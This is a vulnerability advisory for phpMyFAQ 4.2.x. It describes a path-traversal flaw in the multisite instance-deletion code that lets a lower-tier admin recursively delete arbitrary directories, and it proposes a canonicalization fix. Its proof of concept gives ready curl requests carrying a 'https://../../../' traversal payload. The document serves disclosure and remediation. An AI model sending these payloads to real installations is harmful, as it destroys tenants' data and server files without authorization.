## Summary `Client::deleteClientFolder()` in `phpmyfaq/src/phpMyFAQ/Instance/Client.php:583` takes a URL from the caller, strips the `https://` prefix, and passes the remainder to `Filesystem::deleteDirectory()` relative to the multisite `clientFolder`. No path-traversal validation runs. An admin with the `INSTANCE_DELETE` permission (a role short of SUPER_ADMIN) submits `https://../../../<path>` as the client URL and the server recursively deletes arbitrary directories under the web user's rights. Same pattern and reachability as GHSA-38m8-xrfj-v38x, which the project accepted at High severity three weeks earlier. ## Details `phpmyfaq/src/phpMyFAQ/Instance/Client.php:583-591`: ```php public function deleteClientFolder(string $sourceUrl): bool { if (!$this->isMultiSiteWriteable()) { return false; } $sourcePath = str_replace(search: 'https://', replace: '', subject: $sourceUrl); return $this->filesystem->deleteDirectory($this->clientFolder . $sourcePath); } ``` `str_replace` strips the scheme but does nothing about `../` segments. The concatenation `$this->clientFolder . $sourcePath` directly feeds the filesystem call, which traverses above `clientFolder` without complaint. Callers feed the URL from the HTTP request body: `phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/InstanceController.php:184`: ```php if (1 !== $instanceId && $client->deleteClientFolder($clientData->url) && $client->delete($instanceId)) { ``` `$clientData->url` comes from `json_decode($request->getContent())`. The route is `admin.api.instance.delete`, gated by `INSTANCE_DELETE`. The controller does not validate the URL against a scheme list or canonicalize the path before handing it to `deleteClientFolder()`. `InstanceController.php:144` (edit path) and `Controller/Administration/InstanceController.php:151` (form path) both reach the same sink through different entry points. ### Precedent GHSA-38m8-xrfj-v38x (2026-03-31) disclosed the identical bug class in `MediaBrowserController::index()`: an admin-gated API endpoint concatenates a user-supplied filename to a base directory without traversal validation. phpMyFAQ accepted that report at High severity. The present finding is the same root cause in a different controller; the project's INSTANCE_ADD / INSTANCE_DELETE permission is a granular admin right, not SUPER_ADMIN, so a lower-tier admin can reach the sink. ## Proof of Concept Prerequisites: a phpMyFAQ 4.2.x instance with the multisite subsystem bootstrapped (there must be a non-primary instance present for the delete controller branch to fire). Alice is an admin with `INSTANCE_ADD` and `INSTANCE_DELETE` rights, no `SUPER_ADMIN` flag. Step 1: Alice authenticates and retrieves the CSRF token for the instance admin page. Step 2: Alice creates an instance whose `url` encodes a traversal payload. The create path at `InstanceController.php:144` already concatenates to the clientFolder through the same `deleteClientFolder(`'https://' . $hostname`)` call: ```bash curl -sS -b "$ALICE_COOKIE" -X POST "$BASE/admin/api/instance" \ -H "Content-Type: application/json" -H "x-csrf-token: $CSRF" \ -d '{"url":"https://../../../tmp/pmf-poc/","instance":"poc","comment":"poc","email":"a@b","admin":"alice","password":"poc1234!"}' ``` Step 3: Alice deletes the instance. The request body names the instance id to delete; the controller hands `clientData->url` directly to `deleteClientFolder`: ```bash curl -sS -b "$ALICE_COOKIE" -X POST "$BASE/admin/api/instance/2" \ -H "Content-Type: application/json" -H "x-csrf-token: $CSRF" \ -d '{"url":"https://../../../tmp/pmf-poc/"}' ``` The server computes `$sourcePath = '../../../tmp/pmf-poc/'`, concatenates to `<clientFolder>/`, and recursively deletes the resulting path. Live verification was not attempted against the test instance because the INSTANCE_DELETE path requires the multisite/ subsystem to be bootstrapped with at least one non-primary instance; see `InstanceController.php:184`. The code path is unambiguous and the precedent GHSA confirmed the same admin gating was considered in-scope. ## Impact Any phpMyFAQ admin holding `INSTANCE_ADD` + `INSTANCE_DELETE` but not SUPER_ADMIN can delete arbitrary directories writable by the PHP process. Outcomes: - Destroy other tenants' data on a shared multisite deployment by traversing above the `clientFolder` into peer directories. - Delete phpMyFAQ's own `content/`, `config/`, or cache directories and lock the install out. - On a hosted deployment, overwrite or delete files anywhere under the web user's reach, including customer uploads outside phpMyFAQ. phpMyFAQ's permission model gives `INSTANCE_ADD` / `INSTANCE_DELETE` as a role that a hosting operator may delegate to a subordinate admin without granting SUPER_ADMIN. That delegation is now a direct path-traversal-delete primitive. ## Recommended Fix Canonicalize and validate the URL before forming the filesystem path. `phpmyfaq/src/phpMyFAQ/Instance/Client.php:583`: ```php public function deleteClientFolder(string $sourceUrl): bool { if (!$this->isMultiSiteWriteable()) { return false; } $parsed = parse_url($sourceUrl); if (!is_array($parsed) || !isset($parsed['host']) || ($parsed['scheme'] ?? '') !== 'https') { return false; } $host = $parsed['host']; if (!preg_match('/^[a-z0-9][a-z0-9.-]*$/i', $host)) { return false; } $target = realpath($this->clientFolder . $host); $root = realpath($this->clientFolder); if ($target === false || $root === false || !str_starts_with($target, $root . DIRECTORY_SEPARATOR)) { return false; } return $this->filesystem->deleteDirectory($target); } ``` `parse_url` rejects malformed inputs, the regex pins the host to valid DNS characters (no `/`, no `..`), and the `realpath` check ensures the resolved target lives under `clientFolder`. Apply the same canonicalization at the controller layer (`InstanceController::add`, `::update`, `::delete`) so the URL is validated before every call that touches the filesystem. --- *Found by [aisafe.io](https://aisafe.io)*
